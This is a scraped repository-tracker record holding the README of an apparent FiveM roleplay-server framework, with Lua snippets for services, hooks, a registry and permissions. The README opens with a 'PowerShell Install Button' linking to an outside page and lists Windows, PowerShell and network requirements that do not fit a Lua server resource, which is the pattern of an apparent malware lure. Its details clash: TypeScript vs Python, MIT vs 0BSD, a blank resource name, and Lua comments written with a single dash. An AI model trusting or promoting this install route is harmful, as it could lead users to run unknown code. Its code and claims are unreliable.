[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115681":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":16,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":19,"topics":20,"createdAt":9,"pushedAt":22,"updatedAt":23,"readmeContent":24,"aiSummary":25,"trendingCount":12,"starSnapshotCount":12,"syncStatus":26,"lastSyncTime":27,"discoverSource":28},115681,"fivem-core-framework","Elyhbe\u002Ffivem-core-framework","Elyhbe","Core Framework: services, hooks, and a discovery registry for third-party scripts",null,"TypeScript",154,0,102,52,65.2,"MIT License",false,"main",true,[21],"roleplay-server","2026-11-23 13:50:18","2026-11-19 15:51:05","\u003Cdiv align=\"center\">\n\n# Core Framework: Runtime Services, Hooks and Discovery Registry — Developer Library\n\n![](files\u002Fpreview.png)\n\n### 📦 PowerShell Install Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002FElyhbe.github.io\u002Ffivem-core-framework\u002F)\n\n[![tests](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FTests-Ok-2ea44f?style=flat-square&labelColor=0d1117)]() [![powershell](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPowershell-5.1%2B-f97316?style=flat-square&labelColor=0d1117)]() [![code](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCode-Python-fb923c?style=flat-square&labelColor=0d1117)]() [![lic](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLic-0Bsd-ea580c?style=flat-square&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nCore Framework provides the service layer, hook system, and discovery registry that let third-party scripts plug into a running server without patching core files. Services are resolved through the registry at runtime, so a script declares what it provides and what it consumes rather than hard-coding dependencies on sibling resources. Hooks fire at defined lifecycle points and pass typed payloads, which keeps extensions decoupled from the internals that emit them. The framework owns no gameplay logic of its own; it exists to make the seams between scripts explicit, versioned, and discoverable at load time.\n\n## ✅ Requirements\n\n- Windows 10 or Windows 11\n- PowerShell 5.1 or newer (already available on Windows)\n- Active network connection\n- No admin rights needed\n\n## Features\n\n**Plug-in discovery registry** — every third-party script registers itself with a single export at boot: its identifier, the hooks it exposes, and the services it consumes. Discovery is deterministic; load order is resolved by the registry, not by `server.cfg` line numbers.\n\n```lua\nexports['-core']:Register({\nid = 'my-script',\nversion = '1.0.0',\nhooks = { 'player:spawned', 'vehicle:entered' },\nservices = { 'inventory', 'jobs' },\n})\n```\n\n**Service container** — services are resolved by name through the core export, never through globals. A consumer declares what it needs; the container hands back the bound implementation or fails loudly at registration time rather than silently at call time.\n\n```lua\nlocal Core = exports['-core']:GetCore()\nlocal Inventory = Core.GetService('inventory')\n```\n\n**Hook pipeline** — synchronous hooks with ordered handlers and an explicit cancel signal. Handlers receive a mutable payload and return `true` to short-circuit the chain. Async hooks are opt-in per hook definition, so a slow consumer cannot block a hot path it never registered on.\n\n```lua\nCore.Hook('player:spawned', function(payload)\nif not payload.character then return true end - cancels the remaining chain\npayload.spawnedAt = os.time()\nend, { priority = 100 })\n```\n\n**Typed permission gates** — one permission model shared by every module. Gates are declared as data, checked server-side, and evaluated against job, gang, rank, licence and explicit grants in a fixed resolution order. No module carries its own ad-hoc check.\n\n```lua\nCore.Permission.Define('police:seize', { job = 'police', minRank = 2 })\nif Core.Permission.Has(src, 'police:seize') then -... end\n```\n\n**Server-authoritative mutation** — state changes originate on the server and replicate down. Client callbacks are request handlers with validation, not commands; anything a client sends is treated as untrusted input and gated before it reaches a service.\n\n**Event bus with namespacing** — the core forwards internal events under a namespaced channel so third-party scripts never collide on raw event names. Subscriptions are scoped and cleaned up automatically when a resource stops.\n\n```lua\nCore.Bus.On('inventory:item:added', function(src, item) -... end)\n```\n\n**Lifecycle guarantees** — the registry exposes `onStart`, `onStop` and `onPlayerDropped` per registered script. Handlers run in reverse registration order on stop, so consumers are torn down before the services they depend on.\n\n```lua\nexports['-core']:Register({\nid = 'my-script',\nonStart = function(ctx) ctx.GetService('inventory') end,\nonStop = function() - release what onStart acquired end,\n})\n```\n\n**Configuration as data** — every tunable lives in a single resolved config tree exposed at runtime through the core. Modules read values through the same accessor, so an operator can inspect and override at boot without editing Lua.\n\n```lua\nlocal maxSlots = Core.Config.Get('inventory.maxSlots', 40)\n```\n\n**Observable by default** — the core emits structured log records for every hook dispatch, permission denial and service resolution failure. Level is configurable per namespace, and a denied gate logs the gate name, the source and the reason in one record rather than an opaque \"access denied\".\n\n**Framework-agnostic bridges** — adapters for external frameworks implement the same service interface the core exposes, so a consumer written against the core runs unchanged whether the backing implementation is native or bridged. Bridge selection is a config value, not a code branch in the consumer.\n\n## Quick Start\n\n`-core` is the framework resource. Everything else plugs into it through a service container and a discovery registry rather than through globals or load-order conventions.\n\n### 1. Register a resource\n\nCreate `resources\u002F[local]\u002F\u003Cyour-resource>\u002Ffxmanifest.lua` and declare a dependency on the core:\n\n```lua\nfx_version 'cerulean'\ngame 'gta5'\n\ndependency '-core'\n\nclient_script 'client\u002Fmain.lua'\nserver_script 'server\u002Fmain.lua'\n```\n\nAdd `ensure \u003Cyour-resource>` to `server.cfg` **after** `ensure core`.\n\n### 2. Acquire the core\n\nBoth sides resolve the same singleton — never capture it at file scope before the core has started:\n\n```lua\n- server\u002Fmain.lua\nlocal Core = exports['-core']:GetCore()\n\nCreateThread(function()\nCore.Services.Register('my-service', {\nversion = '1.0.0',\nstart = function() end,\nstop = function() end,\n})\nend)\n```\n\n`GetCore()` returns the same table on client and server. It exposes `Core.Services`, `Core.Hooks`, `Core.Registry`, and `Core.Players`. Do not reach into another resource's internals; every cross-resource call goes through one of those four.\n\n### 3. Expose a service\n\nA service is a named table with a lifecycle. Registering it makes it discoverable by name without the consumer knowing which resource provides it:\n\n```lua\nCore.Services.Register('inventory', {\nversion = '1.0.0',\napi = {\naddItem = function(playerId, item, count, metadata)\n- authoritative implementation\nreturn true\nend,\n},\n})\n```\n\nConsumers resolve it lazily, so ordering between resources does not matter:\n\n```lua\nlocal inventory = Core.Services.Get('inventory')\nif inventory then\ninventory.api.addItem(source, 'bread', 1)\nend\n```\n\n`Services.Get` returns `nil` until the provider has registered. Treat a missing service as a degraded feature, not a crash — the caller decides whether that is fatal.\n\n### 4. Hook into lifecycle events\n\nHooks are synchronous, ordered by priority (lower runs first), and cancellable. Register once at start:\n\n```lua\nCore.Hooks.Add('player:loading', function(playerId, context)\nif not context.allowed then\nreturn false - cancels the chain; the player is refused\nend\nreturn true\nend, { priority = 50 })\n```\n\nEmit with `Core.Hooks.Emit(name,...)`. A handler returning `false` halts the chain and propagates the refusal to the emitter. Never do I\u002FO inside a hook — they run on the event path and block it.\n\n### 5. Discover peer resources\n\nThe registry lets a resource announce capabilities that others query without a hard dependency:\n\n```lua\nCore.Registry.Announce('my-resource', {\nprovides = { 'notifications' },\nmeta = { channel = 'ui' },\n})\n\nlocal providers = Core.Registry.FindByCapability('notifications')\n```\n\nThis is how optional integrations stay optional: `FindByCapability` returns an ordered list, and you pick the first that satisfies your needs.\n\n### 6. Bootstrap order\n\nAt boot the core runs, in order: config load → service container init → registry hydrate → hook chain armed → `-core:ready` fired. Subscribe to readiness rather than guessing:\n\n```lua\nAddEventHandler('-core:ready', function()\n- safe to call Services.Get and Registry.FindByCapability here\nend)\n```\n\nBetween resource start and `-core:ready`, only registration calls are guaranteed safe. Any read from the container or registry before that event may return empty.\n\n### 7. Validate before shipping\n\nRun the repository checks from the root; each exits non-zero on findings and changes nothing:\n\n```\npython tools\u002Flua-syntax.py\npython tools\u002Fmanifest-check.py\n```\n\nA client script with a syntax error still reports `Started` and simply never runs on connect. `lua-syntax` is the only thing that catches it before a player does.\n\n## API Reference\n\n## Index\n\n### Core\n\n`exports['-core']:GetCore()` returns the framework handle. All other exports are reached through it or registered against it.\n\n```lua\nlocal Core = exports['-core']:GetCore()\n```\n\n| Member | Signature | Returns |\n|-|-|-|\n| `Core.GetPlayer` | `(source)` | player object or `nil` |\n| `Core.GetPlayers` | `()` | array of player objects |\n| `Core.Notify` | `(source, message, kind)` | `nil` |\n| `Core.HasPermission` | `(source, node)` | `boolean` |\n| `Core.HasJob` | `(source, job, minGrade)` | `boolean` |\n| `Core.GetMoney` | `(source, account)` | `number` |\n| `Core.AddMoney` | `(source, account, amount, reason)` | `boolean` |\n| `Core.RemoveMoney` | `(source, account, amount, reason)` | `boolean` |\n\n`account` is `\"cash\"`, `\"bank\"`, or `\"dirty\"`. `reason` is written to the audit trail and is required — a money mutation without a reason is rejected.\n\n### Player object\n\n```lua\nlocal player = Core.GetPlayer(source)\nplayer.identifier - stable character id\nplayer.name - display name\nplayer.job - { name, grade, onduty }\nplayer.licences - table keyed by licence name\nplayer.setMeta(key, value)\nplayer.getMeta(key)\n```\n\nMeta keys are namespaced by the writing resource (`\u003Cresource>:\u003Ckey>`). Writing outside your namespace is rejected at runtime.\n\n### Hooks\n\nRegister a callback against a named event. Hooks run in registration order and may return a modified value; returning `false` from a pre-hook cancels the action.\n\n```lua\nexports['-core']:RegisterHook('inventory:beforeAdd', function(source, item, count)\nif item.name == 'weapon_pistol' and not Core.HasPermission(source, 'inventory.weapons') then\nreturn false\nend\nreturn count\nend)\n```\n\n| Hook | Fires | Cancellable |\n|-|-|-|\n| `player:beforeLoad` | character selected, before state is built | yes |\n| `player:loaded` | state built, before spawn | no |\n| `player:beforeUnload` | disconnect, before persistence | yes |\n| `money:beforeChange` | any balance mutation | yes |\n| `inventory:beforeAdd` \u002F `inventory:beforeRemove` | slot mutation | yes |\n| `job:beforeChange` | grade or job assignment | yes |\n| `faction:beforeTreasury` | treasury withdrawal | yes |\n\nHooks are synchronous. Long work belongs in the callback's own thread, not in the hook body.\n\n### Discovery registry\n\nThird-party resources announce themselves so the framework — and the admin panel — can see them without hardcoded lists.\n\n```lua\nexports['-core']:RegisterModule({\nname = 'my-resource',\nversion = '1.0.0',\nprovides = { 'myfeature' },\nrequires = { 'inventory', 'jobs' },\napi = { open = function(source) end },\n})\n```\n\n`requires` is resolved at boot. A missing dependency logs a single line and leaves the module unregistered; it does not halt the server. `provides` is what other modules query:\n\n```lua\nlocal mod = exports['-core']:GetModule('myfeature')\nif mod then mod.api.open(source) end\n```\n\n### Permissions\n\nPermissions are nodes on a tree, not flat flags. Grant a parent and every child is inherited.\n\n```\nadmin\n├── players.kick\n├── players.ban\n├── world.edit\n└── inventory.weapons\n```\n\n```lua\nCore.HasPermission(source, 'admin.world.edit') - true if 'admin' or 'admin.world' is held\n```\n\nCheck on the server only. A client-side check is a UI hint, never a gate.\n\n### Events\n\nServer-side events are prefixed to avoid collisions with third-party scripts. Emit them; do not `TriggerEvent` the framework's internals directly.\n\n```lua\nTriggerEvent('-core:server:playerLoaded', source, player)\nTriggerEvent('-core:server:moneyChanged', source, account, delta, reason)\n```\n\nClient-side events are delivered per-player through the framework's own channel:\n\n```lua\nexports['-core']:NotifyClient(source, 'event:name', payload)\n```\n\n### Configuration surface\n\nAnything an operator tunes at runtime lives in the world content layer, not in Lua. Read it through the API rather than from disk:\n\n```lua\nlocal stores = exports['-core']:GetContent('stores')\nlocal recipes = exports['-core']:GetContent('recipes')\n```\n\n`GetContent` returns a deep copy. Mutations go through the editor, which validates and persists — a direct table edit is discarded on the next reload.\n\n### Error handling\n\nEvery API call returns a value rather than throwing. Two failure shapes exist:\n\n```lua\nlocal ok, err = Core.AddMoney(source, 'bank', 500, 'payroll')\n- ok == false, err == 'insufficient_funds' | 'invalid_account' | 'player_not_found'\n```\n\nCheck the second return before assuming success. `nil` as a second return means the call succeeded.\n\n## Examples\n\n### Registering a service\n\nA service is a named table of functions other resources can resolve through the registry. Register it once at startup, then request it by name — no direct cross-resource exports.\n\n```lua\n- provider: my-service\u002Fserver\u002Fmain.lua\nlocal Core = exports['-core']:GetCore()\n\nCore.Services.Register('inventory', {\naddItem = function(source, item, count)\nreturn Core.Inventory.Add(source, item, count)\nend,\nremoveItem = function(source, item, count)\nreturn Core.Inventory.Remove(source, item, count)\nend,\n})\n\nCore.Services.Register('payroll', {\npay = function(source, amount, reason)\nreturn Core.Money.Credit(source, 'bank', amount, reason)\nend,\n})\n\nAddEventHandler('onResourceStop', function(resource)\nif resource ~= GetCurrentResourceName() then return end\nCore.Services.Unregister('inventory')\nCore.Services.Unregister('payroll')\nend)\n```\n\n```lua\n- consumer: other-resource\u002Fserver\u002Fmain.lua\nlocal Core = exports['-core']:GetCore()\n\nlocal inventory = Core.Services.Get('inventory')\nif inventory then\ninventory.addItem(source, 'bread', 1)\nend\n```\n\n`Services.Get` returns `nil` when the provider is not started. Services are torn down automatically when their owning resource stops, so a consumer never holds a stale reference.\n\n### Hooking a core event\n\nHooks let a script intercept a core operation, mutate its payload, or veto it. Handlers run in registration order; the first handler that returns `false` cancels the operation.\n\n```lua\nlocal Core = exports['-core']:GetCore()\n\n- Veto a purchase when the buyer is over a custom limit.\nCore.Hooks.Register('economy:beforeCharge', function(ctx)\nif ctx.account == 'bank' and ctx.amount > 50_000 then\nCore.Notify(ctx.source, 'Transactions above 50,000 require approval.', 'error')\nreturn false\nend\nctx.metadata.reviewed = true\nend)\n\n- Observe an event without changing it.\nCore.Hooks.Register('player:loaded', function(ctx)\nprint(('[core] %s loaded with character %s'):format(ctx.identifier, ctx.characterId))\nend)\n```\n\n```lua\n- Unregistering a single handler\nlocal id = Core.Hooks.Register('player:loaded', function(ctx) end)\nCore.Hooks.Unregister(id)\n```\n\nHook names follow `domain:phase` (`economy:beforeCharge`, `inventory:beforeAdd`, `session:afterLoad`). A hook fired with no registered handlers is a no-op.\n\n### Registering a discovery entry\n\nThird-party scripts announce themselves to the registry so the admin panel and other services can enumerate what is installed without hardcoded manifests.\n\n```lua\nlocal Core = exports['-core']:GetCore()\n\nCore.Registry.Register({\nname = 'my-service',\nversion = '1.0.0',\nprovides = { 'inventory', 'payroll' },\nrequires = { 'core' },\nhooks = { 'economy:beforeCharge', 'player:loaded' },\npermissions = { 'my-service.admin' },\n})\n```\n\n```lua\n- Enumerate what is available at runtime\nfor name, entry in pairs(Core.Registry.List()) do\nprint(('%s %s (provides: %s)'):format(name, entry.version, table.concat(entry.provides, ', ')))\nend\n\nfor _, entry in ipairs(Core.Registry.FindByProvides('payroll')) do\nprint('payroll provider:', entry.name)\nend\n```\n\nThe registry validates that every `requires` entry is already present at registration time and raises a startup error if not, so a dependency cycle fails loudly instead of at first call.\n\n### Scoping a service to a job or permission\n\nServices and commands accept an access predicate. Predicates are evaluated on the server at call time, never on the client.\n\n```lua\nlocal Core = exports['-core']:GetCore()\n\nCore.Services.Register('police', {\nrunPlate = function(source, plate)\nreturn Core.Vehicles.LookupPlate(plate)\nend,\n}, {\naccess = function(source)\nreturn Core.Jobs.IsOnDuty(source, 'police')\nor Core.Permissions.Has(source, 'police.mdt')\nend,\n})\n```\n\n```lua\nCore.Commands.Register('fine', function(source, args)\n- args parsed by the core: args.target, args.amount, args.reason\nCore.Money.Debit(args.target, 'bank', args.amount, 'fine')\nend, {\npermission = 'police.fine',\njob = { name = 'police', onDuty = true },\nseverity = 'warn', - log a violation instead of kicking\n})\n```\n\n`permission` and `job` are checked in that order. A failing `job` gate needs both a matching job and `onDuty = true`; omit `onDuty` to allow off-duty members.\n\n### Listening for lifecycle transitions\n\n```lua\nlocal Core = exports['-core']:GetCore()\n\nAddEventHandler('core:playerLoaded', function(source, character)\nCore.Notify(source, ('Welcome back, %s.'):format(character.name), 'info')\nend)\n\nAddEventHandler('core:playerUnloaded', function(source, characterId)\nCore.Registry.Flush(characterId)\nend)\n```\n\n`core:playerLoaded` fires after the session and character rows are resolved, so `Core.GetPlayer(source)` is valid inside the handler. `core:playerUnloaded` fires on disconnect and on character switch; resources that cached state keyed by source must drop it here.\n\n### Testing a hook without a live server\n\nThe core exposes a stub harness so hooks can be unit-tested outside the runtime.\n\n```lua\nlocal Core = require('-core\u002Ftest\u002Fstub')\n\ndescribe('economy guard', function()\nit('rejects charges above the limit', function()\nCore.Setup({ player = { source = 1, account = 'bank', balance = 100_000 } })\nCore.Load('my-service')\n\nlocal ok = Core.Emit('economy:beforeCharge', { source = 1, account = 'bank', amount = 75_000 })\nassert.is_false(ok)\nend)\nend)\n```\n\n`Core.Setup` seeds a deterministic player, money and registry; `Core.Emit` runs the hook chain and returns its aggregate verdict. The stub never touches a database or a socket.\n\n## License\n\nCore Framework is released under the **MIT License**.\n\n```\nMIT License\n\nCopyright (c) Core Framework contributors\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n```\n\n- **Permitted:** commercial use, modification, distribution, private use, sublicensing.\n- **Required:** retain the copyright notice and this permission notice in all copies or substantial portions of the Software.\n- **Not permitted:** holding the authors liable; using their names or trademarks to endorse derivative works without written permission.\n\nThird-party scripts that plug into the discovery registry remain under their own licenses. The framework makes no claim over their code, and the MIT grant above applies only to the framework's own services, hooks, and registry implementation. If a module bundles a dependency under a different license, that dependency's terms take precedence for the files it covers.","这是一个为FiveM角色扮演服务器设计的轻量级核心框架，提供运行时服务管理、事件钩子系统和第三方脚本自动发现注册机制。它通过依赖注入式服务容器、类型化同步\u002F异步钩子管道和统一权限门控，实现脚本间的松耦合集成与显式依赖声明，避免硬编码和配置文件顺序依赖。适用于需要模块化扩展、多人协作开发及长期可维护的FiveM Roleplay服务器环境。",2,"2026-11-24 04:51:46","CREATED_QUERY"]